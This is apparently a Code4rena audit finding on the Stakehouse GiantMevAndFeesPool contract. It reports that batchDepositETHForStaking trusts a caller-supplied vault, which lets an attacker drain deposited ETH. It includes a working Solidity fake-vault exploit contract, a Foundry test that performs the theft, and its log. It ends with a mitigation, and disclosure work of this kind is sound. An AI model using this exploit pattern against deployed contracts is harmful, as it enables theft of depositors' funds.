LSD Network - Stakehouse contest - perseverancesuccess's results

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L28-L33 https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/GiantMevAndFeesPool.sol#L43-L51

Vulnerability details

Impact

Malicious user can steal all ETH balance of the GiantMevAndFeesPool by calling batchDepositETHForStaking using fake _stakingFundsVault

The function batchDepositETHForStaking is used to send the ETH of transactionAmount to the _stakingFundsVault. The function only checks that liquidStakingNetworkManager of the _stakingFundsVault is valid.

      require(
                liquidStakingDerivativeFactory.isLiquidStakingManager(address(sfv.liquidStakingNetworkManager())),
                "Invalid liquid staking manager"
            );

Then the contract send ETH to the _stakingFundsVault contract by calling the function batchDepositETHForStaking

sfv.batchDepositETHForStaking{ value: _ETHTransactionAmounts[i] }(
                _blsPublicKeyOfKnots[i],
                _amounts[i]
            );

The bug here is that _stakingFundsVault is controlled by the user and can be fake. Attackers can use the fake _stakingFundsVault to steal all ETH from the contract.

Proof of Concept

The following code can steal ETH from the contract. Step 1: Suppose some valid user has deposited ETH into the contract by depositETH. Suppose 4 ETH Step 2: In the exploit contract, deploy a new fake _stakingFundsVault contract. This contract has the liquidStakingNetworkManager that is the valid one, and a function batchDepositETHForStaking that has the correct prototype . In this contract, when receive ETH, send to the attacker.

contract FakeStakingFundsVault {
    address public liquidStakingNetworkManager; 
    address private hacker = address(100);// Fake address
    constructor (address _liquidStakingNetworkManager) { 
     liquidStakingNetworkManager = _liquidStakingNetworkManager; 

    }

    receive() external payable 
    { 
        payable(hacker).transfer(msg.value);
    }
    function batchDepositETHForStaking(bytes[] calldata _blsPublicKeyOfKnots, uint256[] calldata _amounts) external payable
    {
        payable(hacker).transfer(msg.value);
    }
}

Step 3: Call the batchDepositETHForStaking with the fake _stakingFundsVault Step 4: The GiantMevAndFeesPool has sent all 4 ETH to the fake _stakingFundsVault contract and then the fake contract sent to the attacker. the balance of GiantMevAndFeesPool is 0. The balance of attacker is 4 ETH.

So the attacker can front-run the real valid users who just deposited so any deposited ETH can be stolen very quickly.

The test case code:

function testStealETH_BatchDepositETHForStaking_GiantMevAndFeesPool() public {
        // Set up users and ETH
        address nodeRunner = accountOne; vm.deal(nodeRunner, 12 ether);
        address feesAndMevUserOne = accountTwo; vm.deal(feesAndMevUserOne, 4 ether);
        address savETHUser = accountThree; vm.deal(savETHUser, 24 ether);

        // Register BLS key
        registerSingleBLSPubKey(nodeRunner, blsPubKeyOne, accountFour);

        

        // Deposit ETH into giant fees and mev
        vm.startPrank(feesAndMevUserOne);
        //manager.stakingFundsVault().depositETHForStaking{value: 4 ether}(blsPubKeyOne, 4 ether);
        giantFeesAndMevPool.depositETH{value: 4 ether}(4 ether);
        vm.stopPrank();
        
        console.log("Deploy the new FakeStakingFundsVault");
        StakingFundsVault StakingFundsVault_contract = manager.stakingFundsVault(); 
        FakeStakingFundsVault FakeSaveETHVault_contract = new FakeStakingFundsVault(address(StakingFundsVault_contract.liquidStakingNetworkManager())); 

        assertEq(address(giantFeesAndMevPool).balance, 4 ether);
         uint256[][] memory stakeAmountsForVaults = new uint256[][](1);
        stakeAmountsForVaults[0] = getUint256ArrayFromValues(4 ether);
        bytes[][] memory blsKeysForVaults = new bytes[][](1);
        blsKeysForVaults[0] = getBytesArrayFromBytes(blsPubKeyOne);
        vm.deal(attacker,0);// make sure that the balance of attacker is 0
        
        uint256  amount = address(attacker).balance; 
        console.log("attacker balance before exploit: %s", amount);
         console.log("giantFeesAndMevPool balance before exploit: %s", address(giantFeesAndMevPool).balance);
        console.log("start the exploit by calling batchDepositETHForStaking");

        giantFeesAndMevPool.batchDepositETHForStaking(
            getAddressArrayFromValues(address(FakeSaveETHVault_contract)),
            getUint256ArrayFromValues(4 ether),
            blsKeysForVaults,
            stakeAmountsForVaults
        );

               
        amount = address(attacker).balance; 
        console.log("attacker balance after exploit: %s", amount);
        console.log("giantFeesAndMevPool balance: %s", address(giantFeesAndMevPool).balance);
               


        
    }

Log:

[PASS] testStealETH_BatchDepositETHForStaking_GiantMevAndFeesPool() (gas: 759350)
Logs:
  Deploy the new FakeStakingFundsVault
  attacker balance before exploit: 0
  giantFeesAndMevPool balance before exploit: 4000000000000000000
  start the exploit by calling batchDepositETHForStaking
  attacker balance after exploit: 4000000000000000000
  giantFeesAndMevPool balance: 0

In the zip file in the Google_Drive link, there is the POC written for this bug. The test case is testStealETH_BatchDepositETHForStaking_GiantMevAndFeesPool The test case: https://drive.google.com/file/d/1OeVPewYOvo_lVaazul13FN4qmPlrMRNA/view?usp=share_link

You can run the POC by calling:

yarn test -m testStealETH_BatchDepositETHForStaking_GiantMevAndFeesPool -vvvvv

The log file: https://drive.google.com/file/d/1E3mMz76l32pPDPMx2mKtabel6RBitPvS/view?usp=sharing

The Git diff vs commit: 4b6828e9c807f2f7c569e6d721ca1289f7cf7112 is here: POC1.patch : https://drive.google.com/file/d/1KjMmpxpiofxy_IhrFU0lHDo0zLoFd4L7/view?usp=sharing

You can apply the patch

git apply POC1.patch

Tools Used

Foundry

Recommended Mitigation Steps

Should have some mechanism to check for the valid _stakingFundsVault and the amout of ETH that should be send to that contract. Or if this function is intended only for some users with special privilege then it should have proper access control.